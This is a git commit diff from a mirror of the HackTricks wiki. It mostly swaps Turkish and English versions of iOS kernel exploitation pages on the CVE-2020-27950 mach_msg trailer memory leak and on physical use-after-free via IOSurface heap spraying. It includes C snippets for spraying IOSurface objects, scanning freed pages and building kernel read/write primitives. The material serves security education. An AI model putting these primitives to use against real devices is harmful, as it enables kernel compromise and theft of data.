maride/hacktricks
1
0
Fork 0
mirror of https://github.com/HackTricks-wiki/hacktricks.git synced 2025-10-10 18:36:50 +00:00
Code Issues Packages Projects Releases Wiki Activity

Translated ['src/blockchain/blockchain-and-crypto-currencies/defi-amm-ho

Browse Source
This commit is contained in:
Translator 2025-09-30 00:21:30 +00:00
parent d433b98599
commit bffd374842
7 changed files with 451 additions and 470 deletions
Show Stats Download Patch File Download Diff File Expand all files Collapse all files

5
src/SUMMARY.md
View File

@ -81,6 +81,7 @@
- [Basic Python](generic-methodologies-and-resources/python/basic-python.md)
- [Threat Modeling](generic-methodologies-and-resources/threat-modeling.md)
- [Blockchain & Crypto](blockchain/blockchain-and-crypto-currencies/README.md)
- [Defi/AMM Hook Precision](blockchain/blockchain-and-crypto-currencies/defi-amm-hook-precision.md)
- [Lua Sandbox Escape](generic-methodologies-and-resources/lua/bypass-lua-sandboxes/README.md)
# 🧙‍♂️ Generic Hacking
@ -769,7 +770,7 @@
- [Stack Shellcode - arm64](binary-exploitation/stack-overflow/stack-shellcode/stack-shellcode-arm64.md)
- [Stack Pivoting - EBP2Ret - EBP chaining](binary-exploitation/stack-overflow/stack-pivoting-ebp2ret-ebp-chaining.md)
- [Uninitialized Variables](binary-exploitation/stack-overflow/uninitialized-variables.md)
- [ROP & JOP](binary-exploitation/rop-return-oriented-programing/README.md)
- [ROP and JOP](binary-exploitation/rop-return-oriented-programing/README.md)
- [BROP - Blind Return Oriented Programming](binary-exploitation/rop-return-oriented-programing/brop-blind-return-oriented-programming.md)
- [Ret2csu](binary-exploitation/rop-return-oriented-programing/ret2csu.md)
- [Ret2dlresolve](binary-exploitation/rop-return-oriented-programing/ret2dlresolve.md)
@ -846,7 +847,6 @@
- [ios Heap Exploitation](binary-exploitation/ios-exploiting/ios-example-heap-exploit.md)
- [ios Physical UAF - IOSurface](binary-exploitation/ios-exploiting/ios-physical-uaf-iosurface.md)
# 🤖 AI
- [AI Security](AI/README.md)
- [Ai Assisted Fuzzing And Vulnerability Discovery](AI/AI-Assisted-Fuzzing-and-Vulnerability-Discovery.md)
@ -895,7 +895,6 @@
- [RC4 - Encrypt\&Decrypt](crypto-and-stego/rc4-encrypt-and-decrypt.md)
- [Stego Tricks](crypto-and-stego/stego-tricks.md)
- [Esoteric languages](crypto-and-stego/esoteric-languages.md)
- [Blockchain & Crypto Currencies](crypto-and-stego/blockchain-and-crypto-currencies.md)
# ✍️ TODO

40
src/binary-exploitation/ios-exploiting/CVE-2020-27950-mach_msg_trailer_t.md
View File

@ -3,13 +3,13 @@
{{#include ../../banners/hacktricks-training.md}}
## Zafiyet
## Hata
Burada [great explanation of the vuln here](https://www.synacktiv.com/en/publications/ios-1-day-hunting-uncovering-and-exploiting-cve-2020-27950-kernel_memory_leak), ama özet olarak:
Burada [great explanation of the vuln here](https://www.synacktiv.com/en/publications/ios-1-day-hunting-uncovering-and-exploiting-cve-2020-27950-kernel-memory-leak), ama özetle:
Çekirdeğin aldığı her Mach message, metadata (seqno, sender token, audit token, context, access control data, labels...) içeren değişken uzunluklu bir struct olan **"trailer"** ile biter. Çekirdek, mesaj tamponunda **her zaman mümkün olan en büyük trailer**'ı (MAX_TRAILER_SIZE) ayırır, fakat **sadece bazı alanları başlatır**, sonra daha sonra **hangi trailer boyutunu döndüreceğine** **user-controlled receive options**'a bağlı olarak karar verir.
Kernel'in aldığı her Mach mesajı bir **"trailer"** ile biter: metadata (seqno, sender token, audit token, context, access control data, labels...) içeren değişken-uzunlukta bir struct. Kernel mesaj buffer'ında **her zaman mümkün olan en büyük trailer'ı** (MAX_TRAILER_SIZE) ayırır, ancak **sadece bazı alanları başlatır**, sonra daha sonra **hangi trailer boyutunu döndüreceğine** **kullanıcı tarafından kontrol edilen receive seçeneklerine** göre karar verir.
Bunlar trailer ile ilgili structs:
Trailer ile ilgili structs şunlardır:
```c
typedef struct{
mach_msg_trailer_type_t msgh_trailer_type;
@ -31,7 +31,7 @@ msg_labels_t msgh_labels;
typedef mach_msg_mac_trailer_t mach_msg_max_trailer_t;
#define MAX_TRAILER_SIZE ((mach_msg_size_t)sizeof(mach_msg_max_trailer_t))
```
Sonra, trailer nesnesi oluşturulduğunda, yalnızca bazı alanlar başlatılır ve maksimum trailer boyutu her zaman ayrılır:
Daha sonra, trailer nesnesi oluşturulduğunda, yalnızca bazı alanlar başlatılır ve maksimum trailer boyutu her zaman ayrılır:
```c
trailer = (mach_msg_max_trailer_t *) ((vm_offset_t)kmsg->ikm_header + size);
trailer->msgh_sender = current_thread()->task->sec_token;
@ -41,7 +41,7 @@ trailer->msgh_trailer_size = MACH_MSG_TRAILER_MINIMUM_SIZE;
[...]
trailer->msgh_labels.sender = 0;
```
Örneğin, `mach_msg()` kullanarak bir mach message'ı okumaya çalışırken, mesaja trailer eklemek için `ipc_kmsg_add_trailer()` fonksiyonu çağrılır. Bu fonksiyon içinde trailer boyutu hesaplanır ve bazı diğer trailer alanları doldurulur:
Örneğin, `mach_msg()` kullanarak bir mach mesajını okumaya çalışırken, mesaja trailer eklemek için `ipc_kmsg_add_trailer()` fonksiyonu çağrılır. Bu fonksiyon içinde trailer boyutu hesaplanır ve bazı diğer trailer alanları doldurulur:
```c
if (!(option & MACH_RCV_TRAILER_MASK)) { [3]
return trailer->msgh_trailer_size;
@ -51,9 +51,9 @@ trailer->msgh_seqno = seqno;
trailer->msgh_context = context;
trailer->msgh_trailer_size = REQUESTED_TRAILER_SIZE(thread_is_64bit_addr(thread), option);
```
`option` parametresi kullanıcı tarafından kontrol ediliyor, bu yüzden **`if` kontrolünü geçen bir değer göndermek gerekiyor.**
`option` parametresi kullanıcı tarafından kontrol edildiğinden, **`if` kontrolünü geçen bir değer sağlamamız gerekiyor.**
Bu kontrolü geçmek için geçerli ve desteklenen bir `option` göndermemiz gerekiyor:
Bu kontrolü geçmek için geçerli, desteklenen bir `option` göndermemiz gerekir:
```c
#define MACH_RCV_TRAILER_NULL 0
#define MACH_RCV_TRAILER_SEQNO 1
@ -67,9 +67,9 @@ Bu kontrolü geçmek için geçerli ve desteklenen bir `option` göndermemiz ger
#define MACH_RCV_TRAILER_ELEMENTS(x) (((x) & 0xf) << 24)
#define MACH_RCV_TRAILER_MASK ((0xf << 24))
```
Ancak, çünkü `MACH_RCV_TRAILER_MASK` sadece bitleri kontrol ettiği için, `if` bloğuna girmemek için `0` ile `8` arasındaki herhangi bir değeri geçirebiliriz.
Ama, `MACH_RCV_TRAILER_MASK` sadece bitleri kontrol ettiği için, `if` ifadesinin içine girmemek üzere `0` ile `8` arasındaki herhangi bir değeri verebiliriz.
Ardından, kodun devamında şunu bulabilirsiniz:
Ardından, code'un devamında şunu bulabilirsiniz:
```c
if (GET_RCV_ELEMENTS(option) >= MACH_RCV_TRAILER_AV) {
trailer->msgh_ad = 0;
@ -92,21 +92,21 @@ ipc_kmsg_munge_trailer(trailer, real_trailer_out, thread_is_64bit_addr(thread));
return trailer->msgh_trailer_size;
```
Were you can see that if the `option` is bigger or equals to `MACH_RCV_TRAILER_AV` (7), the field **`msgh_ad`** is initialized to `0`.
Burada görebileceğiniz gibi, eğer `option` değeri `MACH_RCV_TRAILER_AV` (7) veya daha büyük ise, alan **`msgh_ad`** `0` olarak başlatılır.
If you noticed, **`msgh_ad`** was still the only field of the trailer that was not initialized before which could contain a leak from previously used memory.
Dikkat ettiyseniz, **`msgh_ad`** önceden başlatılmamış trailer içindeki tek alandı ve daha önce kullanılan bellekten bir leak içerebilirdi.
So, the way avoid initializing it would be to pass an `option` value that is `5` or `6`, so it passes the first `if` check and doesn't enter the `if` that initializes `msgh_ad` because the values `5` and `6` don't have any trailer type associated.
Bunu başlatılmaktan kaçırmanın yolu, `option` değeri olarak `5` veya `6` göndermektir; böylece ilk `if` kontrolünü geçer ve **`msgh_ad`**'i başlatan `if` bloğuna girmez çünkü `5` ve `6` değerlerinin ilişkilendirilmiş herhangi bir trailer türü yoktur.
### Basic PoC
### Temel PoC
Inside the [original post](https://www.synacktiv.com/en/publications/ios-1-day-hunting-uncovering-and-exploiting-cve-2020-27950-kernel-memory-leak), you have a PoC to just leak some random data.
[original post](https://www.synacktiv.com/en/publications/ios-1-day-hunting-uncovering-and-exploiting-cve-2020-27950-kernel-memory-leak) içinde, sadece rastgele bazı verileri leak etmek için bir PoC bulunuyor.
### Leak Kernel Address PoC
### Kernel Adresi Leak PoC
The Inside the [original post](https://www.synacktiv.com/en/publications/ios-1-day-hunting-uncovering-and-exploiting-cve-2020-27950-kernel-memory-leak), you have a PoC to leak a kernel address. For this, a message full of `mach_msg_port_descriptor_t` structs is sent in the message cause the field `name` of this structure in userland contains an unsigned int but in kernel the `name` field is a struct `ipc_port` pointer in kernel. Thefore, sending tens of these structs in the message in kernel will mean to **add several kernel addresses inside the message** so one of them can be leaked.
[original post](https://www.synacktiv.com/en/publications/ios-1-day-hunting-uncovering-and-exploiting-cve-2020-27950-kernel-memory-leak) içinde, bir kernel adresi leak etmek için bir PoC bulunuyor. Bunun için, mesaja `mach_msg_port_descriptor_t` structlarıyla dolu bir mesaj gönderilir çünkü bu yapının userland'deki `name` alanı unsigned int içerirken kernel'de `name` alanı bir `ipc_port` pointer'ıdır. Bu nedenle, mesaj içinde onlarca bu yapı gönderilmesi, mesajın içine **birden fazla kernel adresi eklemek** anlamına gelir; böylece bunlardan biri leak edilebilir.
Commetns were added for better understanding:
Daha iyi anlaşılması için yorumlar eklendi:
```c
#include <stdio.h>
#include <stdlib.h>
@ -324,9 +324,9 @@ printf("[+] Port %x has address %lX\n", sent_port, sent_port_address);
return 0;
}
```
## Referanslar
## Kaynaklar
- [Synacktiv's blog post](https://www.synacktiv.com/en/publications/ios-1-day-hunting-uncovering-and-exploiting-cve-2020-27950-kernel-memory-leak)
- [Synacktiv'in blog yazısı](https://www.synacktiv.com/en/publications/ios-1-day-hunting-uncovering-and-exploiting-cve-2020-27950-kernel-memory-leak)
{{#include ../../banners/hacktricks-training.md}}

140
src/binary-exploitation/ios-exploiting/ios-physical-uaf-iosurface.md
View File

@ -5,106 +5,106 @@
## iOS Exploit Mitigations
- **Code Signing** iOS'ta çalıştırılacak her yürütülebilir kod parçasının (uygulamalar, kütüphaneler, uzantılar vb.) Apple tarafından verilen bir sertifika ile kriptografik olarak imzalanmasını gerektirir. Kod yüklendiğinde, iOS dijital imzayı Apple’ın güvenilen köküyle doğrular. İmza geçersizse, eksikse veya değiştirilmişse, işletim sistemi kodun çalışmasına izin vermez. Bu, saldırganların meşru uygulamalara kötü amaçlı kod enjekte etmesini veya imzasız ikili dosyaları çalıştırmasını engeller.
- **CoreTrust** çalışma zamanında code signing'i zorlayan iOS alt sistemidir. Apple’ın kök sertifikasını kullanarak imzaları doğrudan doğrular; önbelleğe alınmış güven depolarına dayanmaz; bu da yalnızca Apple tarafından imzalanmış (veya geçerli yetkilerle) ikililerin çalışabilmesini sağlar. CoreTrust, bir saldırgan uygulamayı kurulum sonrası değiştirmiş olsa da, sistem kitaplıklarını bozmuş olsa da veya imzasız kod yüklemeye çalışsa da yürütmeyi engeller.
- **Data Execution Prevention (DEP)** bellek bölgelerini açıkça kod içermedikçe yürütülemez olarak işaretler. Bu, saldırganların yığın veya heap gibi veri bölgelerine shellcode enjekte edip çalıştırmasını engeller ve onları ROP gibi daha karmaşık tekniklere zorlar.
- **ASLR (Address Space Layout Randomization)** kod, kütüphaneler, stack ve heap adreslerini her çalıştırmada rastgeleleştirir. Bu, saldırganların işe yarar talimatların veya gadget'ların nerede olduğunu tahmin etmelerini zorlaştırır.
- **KASLR (Kernel ASLR)** aynı rastgeleleştirme konseptini iOS kerneline uygular. Kernel’in temel adresini her açılışta karıştırarak, saldırganların kernel fonksiyonlarını veya yapıları güvenilir şekilde bulmasını zorlaştırır.
- **Kernel Patch Protection (KPP)** iOS’ta **AMCC (Apple Mobile File Integrity)** olarak da bilinir; kernel’in kod sayfalarını sürekli izleyerek değişiklik yapılmadığından emin olur. Kernel fonksiyonlarını yamalamaya veya kötü amaçlı kod eklemeye çalışan herhangi bir müdahale tespit edilirse cihaz derhal panic yapar ve yeniden başlatılır. Bu, sürekli kernel exploit'lerini zorlaştırır çünkü saldırganlar kernel talimatlarını hook'lamadan veya yama yapmadan bunu başaramaz.
- **Kernel Text Readonly Region (KTRR)** iOS cihazlarında donanımsal bir güvenlik özelliğidir. CPU’nun bellek denetleyicisini kullanarak kernel’in kod (text) bölümünü önyüklemeden sonra kalıcı olarak salt okunur yapar. Bir kez kilitlendikten sonra, kernel bile bu bellek bölgesini değiştiremez. Bu, kernel kodunun çalışma zamanında değiştirilmesini engeller.
- **Pointer Authentication Codes (PAC)** işaretçilerin kullanılmadan önce bütünlüğünü doğrulamak için işaretçilerin kullanılmayan bitlerine gömülü kriptografik imzalar kullanır. Bir işaretçi oluşturulduğunda CPU onu gizli bir anahtarla imzalar; dereference edilmeden önce CPU imzayı kontrol eder. İşaretçi değiştirilmişse kontrol başarısız olur ve yürütme durur. Bu, saldırganların bellek bozulması exploit'lerinde sahte veya değiştirilmiş işaretçiler kullanmasını zorlaştırır.
- **Privilege Access never (PAN)** kernel’in (ayrıcalıklı mod) kullanıcı alanı belleğine doğrudan erişmesini engelleyen bir donanım özelliğidir; erişimi açıkça etkinleştirmedikçe erişim yoktur. Bu, kernel kod yürütmesini ele geçiren saldırganların kullanıcı belleğini kolayca okuyup yazmasını, ayrıcalık yükseltmelerini veya hassas verileri çalmalarını zorlaştırır.
- **Page Protection Layer (PPL)** code signing ve entitlements ile ilişkili kritik kernel yönetimli bellek bölgelerini koruyan bir iOS güvenlik mekanizmasıdır. MMU ve ek kontroller kullanarak sıkı yazma koruması uygular, böylece ayrıcalıklı kernel kodu bile hassas sayfaları keyfi olarak değiştiremez. Bu, kernel seviyesi yürütme kazanan saldırganların güvenlik kritik yapıların üzerinde değişiklik yapmasını zorlaştırır.
- **Code Signing** in iOS works by requiring every piece of executable code (apps, libraries, extensions, etc.) to be cryptographically signed with a certificate issued by Apple. When code is loaded, iOS verifies the digital signature against Apple’s trusted root. If the signature is invalid, missing, or modified, the OS refuses to run it. This prevents attackers from injecting malicious code into legitimate apps or running unsigned binaries, effectively stopping most exploit chains that rely on executing arbitrary or tampered code.
- **CoreTrust** is the iOS subsystem responsible for enforcing code signing at runtime. It directly verifies signatures using Apple’s root certificate without relying on cached trust stores, meaning only binaries signed by Apple (or with valid entitlements) can execute. CoreTrust ensures that even if an attacker tampers with an app after installation, modifies system libraries, or tries to load unsigned code, the system will block execution unless the code is still properly signed. This strict enforcement closes many post-exploitation vectors that older iOS versions allowed through weaker or bypassable signature checks.
- **Data Execution Prevention (DEP)** marks memory regions as non-executable unless they explicitly contain code. This stops attackers from injecting shellcode into data regions (like the stack or heap) and running it, forcing them to rely on more complex techniques like ROP (Return-Oriented Programming).
- **ASLR (Address Space Layout Randomization)** randomizes the memory addresses of code, libraries, stack, and heap every time the system runs. This makes it much harder for attackers to predict where useful instructions or gadgets are, breaking many exploit chains that depend on fixed memory layouts.
- **KASLR (Kernel ASLR)** applies the same randomization concept to the iOS kernel. By shuffling the kernel’s base address at each boot, it prevents attackers from reliably locating kernel functions or structures, raising the difficulty of kernel-level exploits that would otherwise gain full system control.
- **Kernel Patch Protection (KPP)** also known as **AMCC (Apple Mobile File Integrity)** in iOS, continuously monitors the kernel’s code pages to ensure they haven’t been modified. If any tampering is detected—such as an exploit trying to patch kernel functions or insert malicious code—the device will immediately panic and reboot. This protection makes persistent kernel exploits far harder, as attackers can’t simply hook or patch kernel instructions without triggering a system crash.
- **Kernel Text Readonly Region (KTRR)** is a hardware-based security feature introduced on iOS devices. It uses the CPU’s memory controller to mark the kernel’s code (text) section as permanently read-only after boot. Once locked, even the kernel itself cannot modify this memory region. This prevents attackers—and even privileged code—from patching kernel instructions at runtime, closing off a major class of exploits that relied on modifying kernel code directly.
- **Pointer Authentication Codes (PAC)** use cryptographic signatures embedded into unused bits of pointers to verify their integrity before use. When a pointer (like a return address or function pointer) is created, the CPU signs it with a secret key; before dereferencing, the CPU checks the signature. If the pointer was tampered with, the check fails and execution stops. This prevents attackers from forging or reusing corrupted pointers in memory corruption exploits, making techniques like ROP or JOP much harder to pull off reliably.
- **Privilege Access never (PAN)** is a hardware feature that prevents the kernel (privileged mode) from directly accessing user-space memory unless it explicitly enables access. This stops attackers who gained kernel code execution from easily reading or writing user memory to escalate exploits or steal sensitive data. By enforcing strict separation, PAN reduces the impact of kernel exploits and blocks many common privilege-escalation techniques.
- **Page Protection Layer (PPL)** is an iOS security mechanism that protects critical kernel-managed memory regions, especially those related to code signing and entitlements. It enforces strict write protections using the MMU (Memory Management Unit) and additional checks, ensuring that even privileged kernel code cannot arbitrarily modify sensitive pages. This prevents attackers who gain kernel-level execution from tampering with security-critical structures, making persistence and code-signing bypasses significantly harder.
## Physical use-after-free
Bu özet [https://alfiecg.uk/2024/09/24/Kernel-exploit.html](https://alfiecg.uk/2024/09/24/Kernel-exploit.html) adresindeki gönderiden alınmıştır; ayrıca bu tekniği kullanan exploit hakkında daha fazla bilgi için {#ref}https://github.com/felix-pb/kfd{#endref} bakılabilir.
This is a summary from the post from [https://alfiecg.uk/2024/09/24/Kernel-exploit.html](https://alfiecg.uk/2024/09/24/Kernel-exploit.html) moreover further information about exploit using this technique can be found in [https://github.com/felix-pb/kfd](https://github.com/felix-pb/kfd)
### Memory management in XNU <a href="#memory-management-in-xnu" id="memory-management-in-xnu"></a>
Kullanıcı süreçleri için **virtual memory address space**, iOS'ta **0x0 ile 0x8000000000** arasında yer alır. Ancak bu adresler fiziksel belleğe doğrudan eşlenmez. Bunun yerine **kernel**, sanal adresleri gerçek **physical addresses**'e çevirmek için **page tables** kullanır.
The **virtual memory address space** for user processes on iOS spans from **0x0 to 0x8000000000**. However, these addresses don’t directly map to physical memory. Instead, the **kernel** uses **page tables** to translate virtual addresses into actual **physical addresses**.
#### Levels of Page Tables in iOS
Page table'lar üç seviyeli hiyerarşik olarak düzenlenmiştir:
Page tables are organized hierarchically in three levels:
1. **L1 Page Table (Level 1)**:
* Her giriş burada geniş bir sanal bellek aralığını temsil eder.
* **0x1000000000 bytes** (veya **256 GB**) sanal belleği kapsar.
* Each entry here represents a large range of virtual memory.
* It covers **0x1000000000 bytes** (or **256 GB**) of virtual memory.
2. **L2 Page Table (Level 2)**:
* Buradaki bir giriş daha küçük bir sanal bellek bölgesini, özellikle **0x2000000 bytes** (32 MB) temsil eder.
* Bir L1 girişi tüm bölgeyi kendisi eşleyemiyorsa bir L2 tablosuna işaret edebilir.
* An entry here represents a smaller region of virtual memory, specifically **0x2000000 bytes** (32 MB).
* An L1 entry may point to an L2 table if it can't map the entire region itself.
3. **L3 Page Table (Level 3)**:
* En ince seviyedir; her giriş tek bir **4 KB** bellek sayfasını eşler.
* Daha ayrıntılı kontrol gerekirse L2 girdisi bir L3 tablosuna işaret edebilir.
* This is the finest level, where each entry maps a single **4 KB** memory page.
* An L2 entry may point to an L3 table if more granular control is needed.
#### Mapping Virtual to Physical Memory
* **Direct Mapping (Block Mapping)**:
* Bazı page table girişleri sanal adreslerin bir aralığını bitişik bir fiziksel adres aralığına doğrudan eşler (kısayol gibi).
* Some entries in a page table directly **map a range of virtual addresses** to a contiguous range of physical addresses (like a shortcut).
* **Pointer to Child Page Table**:
* Daha ince kontrol gerekiyorsa, bir seviyedeki giriş (ör. L1) bir sonraki seviyedeki **child page table**'a işaret edebilir (ör. L2).
* If finer control is needed, an entry in one level (e.g., L1) can point to a **child page table** at the next level (e.g., L2).
#### Example: Mapping a Virtual Address
Örneğin sanal adres **0x1000000000**'a erişmeye çalıştığınızı varsayalım:
Let’s say you try to access the virtual address **0x1000000000**:
1. **L1 Table**:
* Kernel bu sanal adrese karşılık gelen L1 page table girişini kontrol eder. Eğer giriş bir **pointer to an L2 page table** gösteriyorsa, o L2 tablosuna gider.
* The kernel checks the L1 page table entry corresponding to this virtual address. If it has a **pointer to an L2 page table**, it goes to that L2 table.
2. **L2 Table**:
* Kernel daha ayrıntılı bir eşleme için L2 page table'ı kontrol eder. Eğer bu giriş bir **L3 page table**'a işaret ediyorsa, oraya gider.
* The kernel checks the L2 page table for a more detailed mapping. If this entry points to an **L3 page table**, it proceeds there.
3. **L3 Table**:
* Kernel son L3 girişine bakar; bu giriş gerçek bellek sayfasının **physical address**'ine işaret eder.
* The kernel looks up the final L3 entry, which points to the **physical address** of the actual memory page.
#### Example of Address Mapping
Eğer fiziksel adres **0x800004000**'ı L2 tablosunun ilk indeksine yazarsanız, o zaman:
If you write the physical address **0x800004000** into the first index of the L2 table, then:
* **0x1000000000** ile **0x1002000000** arasındaki sanal adresler **0x800004000** ile **0x802004000** arasındaki fiziksel adreslere eşlenir.
* Bu, L2 seviyesinde bir **block mapping**'dir.
* Virtual addresses from **0x1000000000** to **0x1002000000** map to physical addresses from **0x800004000** to **0x802004000**.
* This is a **block mapping** at the L2 level.
Alternatif olarak L2 girişi bir L3 tablosuna işaret ederse:
Alternatively, if the L2 entry points to an L3 table:
* **0x1000000000 -> 0x1002000000** aralığındaki her 4 KB sayfa, L3 tablosundaki bireysel girişlerle eşlenecektir.
* Each 4 KB page in the virtual address range **0x1000000000 -> 0x1002000000** would be mapped by individual entries in the L3 table.
### Physical use-after-free
Bir **physical use-after-free (UAF)** şu durumda meydana gelir:
A **physical use-after-free** (UAF) occurs when:
1. Bir süreç bazı belleği **readable and writable** olarak **allocate** eder.
2. Bu belleği sürecin erişebileceği belirli bir fiziksel adrese eşlemek için **page tables** güncellenir.
3. Süreç belleği **deallocate** (free) eder.
4. Ancak bir **bug** nedeniyle kernel, ilgili fiziksel belleği serbest olarak işaretlemesine rağmen page table’daki eşlemeyi **kaldırmayı unutur**.
5. Kernel daha sonra bu “serbest” fiziksel belleği başka amaçlar için, örneğin **kernel data** gibi, **reallocate** edebilir.
6. Eşleme kaldırılmadığı için süreç bu fiziksel belleği hâlâ **read ve write** edebilir.
1. A process **allocates** some memory as **readable and writable**.
2. The **page tables** are updated to map this memory to a specific physical address that the process can access.
3. The process **deallocates** (frees) the memory.
4. However, due to a **bug**, the kernel **forgets to remove the mapping** from the page tables, even though it marks the corresponding physical memory as free.
5. The kernel can then **reallocate this "freed" physical memory** for other purposes, like **kernel data**.
6. Since the mapping wasn’t removed, the process can still **read and write** to this physical memory.
Bu, sürecin **kernel belleği sayfalarına** erişebilmesi anlamına gelir; bu sayfalar hassas veri veya yapılar içerebilir ve saldırganın **kernel belleğini manipüle etmesine** olanak verebilir.
This means the process can access **pages of kernel memory**, which could contain sensitive data or structures, potentially allowing an attacker to **manipulate kernel memory**.
### IOSurface Heap Spray
Saldırgan hangi kernel sayfalarının serbest belleğe atanacağını kontrol edemediği için, bir teknik olan **heap spray** kullanılır:
Since the attacker can’t control which specific kernel pages will be allocated to freed memory, they use a technique called **heap spray**:
1. Saldırgan kernel belleğinde çok sayıda **IOSurface** object yaratır.
2. Her IOSurface objesi, tanımlanması kolay olması için bir alanında **magic value** içerir.
3. Serbest bırakılmış sayfaları **scan** ederek bu IOSurface objelerinden herhangi birinin serbest sayfaya düşüp düşmediğini kontrol ederler.
4. Bir IOSurface objesinin serbest sayfada olduğunu bulduklarında, bunu **kernel memory**'yi **read ve write** etmek için kullanabilirler.
1. The attacker **creates a large number of IOSurface objects** in kernel memory.
2. Each IOSurface object contains a **magic value** in one of its fields, making it easy to identify.
3. They **scan the freed pages** to see if any of these IOSurface objects landed on a freed page.
4. When they find an IOSurface object on a freed page, they can use it to **read and write kernel memory**.
Detaylı bilgi için {#ref}https://github.com/felix-pb/kfd/tree/main/writeups{#endref} bakılabilir.
More info about this in [https://github.com/felix-pb/kfd/tree/main/writeups](https://github.com/felix-pb/kfd/tree/main/writeups)
> [!TIP]
> iOS 16+ (A12+) cihazların PPL veya SPTM gibi donanımsal mitigasyonlar getirdiğini ve bunun physical UAF tekniklerini çok daha az uygulanabilir hale getirdiğini unutmayın.
> PPL, code signing, entitlements ve hassas kernel verileriyle ilişkili sayfalara MMU bazlı sıkı korumalar uygular; dolayısıyla bir sayfa tekrar kullanılsa bile, userland veya ele geçirilmiş kernel kodundan PPL korumalı sayfalara yazmalar engellenir.
> Secure Page Table Monitor (SPTM) PPL'yi genişleterek page table güncellemelerini sertleştirir. Bu, ayrıcalıklı kernel kodunun bile freed sayfaları sessizce yeniden eşlememesini veya mapping'lerle oynamamasını sağlar.
> KTRR kernel’in kod bölümünü önyüklemeden sonra salt okunur hale kilitleyerek runtime sırasında kernel kodunda herhangi bir değişikliği engeller. Bu, physical UAF exploit'lerinin sıklıkla dayandığı büyük bir saldırı vektörünü kapatır.
> Ayrıca, `IOSurface` alloc'ları artık daha öngörülemez ve kullanıcı erişimli bölgelere eşlemek zor olduğu için “magic value scanning” hilesi çok daha güvenilir değildir. Ve `IOSurface` artık entitlements ve sandbox kısıtlamalarıyla korunmaktadır.
> Be aware that iOS 16+ (A12+) devices bring hardware mitigations (like PPL or SPTM) that make physical UAF techniques far less viable.
> PPL enforces strict MMU protections on pages related to code signing, entitlements, and sensitive kernel data, so, even if a page gets reused, writes from userland or compromised kernel code to PPL-protected pages are blocked.
> Secure Page Table Monitor (SPTM) extends PPL by hardening page table updates themselves. It ensures that even privileged kernel code cannot silently remap freed pages or tamper with mappings without going through secure checks.
> KTRR (Kernel Text Read-Only Region), which locks down the kernel’s code section as read-only after boot. This prevents any runtime modifications to kernel code, closing off a major attack vector that physical UAF exploits often rely on.
> Moreover, `IOSurface` allocations are less predictable and harder to map into user-accessible regions, which makes the “magic value scanning” trick much less reliable. And `IOSurface` is now guarded by entitlements and sandbox restrictions.
### Step-by-Step Heap Spray Process
1. **Spray IOSurface Objects**: Saldırgan özel bir tanımlayıcı ("magic value") içeren çok sayıda IOSurface objesi oluşturur.
2. **Scan Freed Pages**: Bu objelerden herhangi birinin serbest bir sayfaya atanıp atanmadığını kontrol eder.
3. **Read/Write Kernel Memory**: IOSurface objesindeki alanları manipüle ederek, kernel belleğinde **arbitrary reads and writes** yapma yeteneği elde ederler. Bu onlara şunları sağlar:
* Bir alanı kullanarak kernel belleğindeki herhangi bir 32-bit değeri **read** edebilme.
* Başka bir alanı kullanarak 64-bit değerleri **write** edebilme; böylece kararlı bir **kernel read/write primitive** elde edilir.
1. **Spray IOSurface Objects**: The attacker creates many IOSurface objects with a special identifier ("magic value").
2. **Scan Freed Pages**: They check if any of the objects have been allocated on a freed page.
3. **Read/Write Kernel Memory**: By manipulating fields in the IOSurface object, they gain the ability to perform **arbitrary reads and writes** in kernel memory. This lets them:
* Use one field to **read any 32-bit value** in kernel memory.
* Use another field to **write 64-bit values**, achieving a stable **kernel read/write primitive**.
Generate IOSurface objects with the magic value IOSURFACE\_MAGIC to later search for:
```c
@ -127,7 +127,7 @@ io_connect_t id = result.surface_id;
}
}
```
Bir serbest bırakılmış fiziksel sayfada **`IOSurface`** nesnelerini ara:
Bir serbest bırakılmış fiziksel sayfada **`IOSurface`** nesnelerini arayın:
```c
int iosurface_krw(io_connect_t client, uint64_t *puafPages, int nPages, uint64_t *self_task, uint64_t *puafPage) {
io_connect_t *surfaceIDs = malloc(sizeof(io_connect_t) * 0x4000);
@ -161,25 +161,25 @@ free(surfaceIDs);
return 0;
}
```
### IOSurface ile Kernel Read/Write Elde Etme
### IOSurface ile Kernel Okuma/Yazma Erişimi
kernel belleğindeki bir IOSurface nesnesi üzerinde kontrol sağladıktan sonra (userspace'ten erişilebilen boşaltılmış bir fiziksel sayfaya maplenmiş), bunu **arbitrary kernel read and write operations** için kullanabiliriz.
IOSurface nesnesi üzerinde kontrol sağlandıktan sonra (kullanıcı alanından erişilebilen serbest bırakılmış bir fiziksel sayfaya eşlenmiş), bunu **herhangi bir kernel okuma ve yazma işlemi** için kullanabiliriz.
**Key Fields in IOSurface**
IOSurface nesnesinin iki kritik alanı vardır:
1. **Use Count Pointer**: Bir **32-bit read** sağlar.
2. **Indexed Timestamp Pointer**: Bir **64-bit write** sağlar.
1. **Use Count Pointer**: Bir **32-bit okuma** sağlar.
2. **Indexed Timestamp Pointer**: Bir **64-bit yazma** sağlar.
Bu pointer'ları overwrite ederek, onları kernel belleğindeki arbitrary adreslere yönlendirip read/write yetenekleri elde edebiliriz.
Bu pointer'ları ezerek, onları kernel belleğindeki herhangi bir adrese yönlendiririz ve böylece okuma/yazma yeteneği elde ederiz.
#### 32-Bit Kernel Read
#### 32-Bit Kernel Okuma
Okuma yapmak için:
1. **Use Count Pointer**'ı hedef adresin 0x14-byte offset eksiğine işaret edecek şekilde üzerine yazın.
2. `get_use_count` metodunu kullanarak o adresteki değeri okuyun.
1. **use count pointer**'ı hedef adresin 0x14 baytlık offset eksiğine işaret edecek şekilde overwrite edin.
2. Bu adresteki değeri okumak için `get_use_count` metodunu kullanın.
```c
uint32_t get_use_count(io_connect_t client, uint32_t surfaceID) {
uint64_t args[1] = {surfaceID};
@ -201,8 +201,8 @@ return value;
Bir yazma işlemi gerçekleştirmek için:
1. Overwrite ederek **indexed timestamp pointer**'ı hedef adrese ayarlayın.
2. 64-bit bir değer yazmak için `set_indexed_timestamp` metodunu kullanın.
1. Hedef adrese **indexed timestamp pointer**'ı üzerine yazın.
2. 64-bit bir değeri yazmak için `set_indexed_timestamp` metodunu kullanın.
```c
void set_indexed_timestamp(io_connect_t client, uint32_t surfaceID, uint64_t value) {
uint64_t args[3] = {surfaceID, 0, value};
@ -216,13 +216,13 @@ set_indexed_timestamp(info.client, info.surface, value);
iosurface_set_indexed_timestamp_pointer(info.object, orig);
}
```
#### Exploit Akış Özeti
#### İstismar Akışı Özeti
1. **Trigger Physical Use-After-Free**: Serbest bırakılmış sayfalar yeniden kullanım için kullanılabilir.
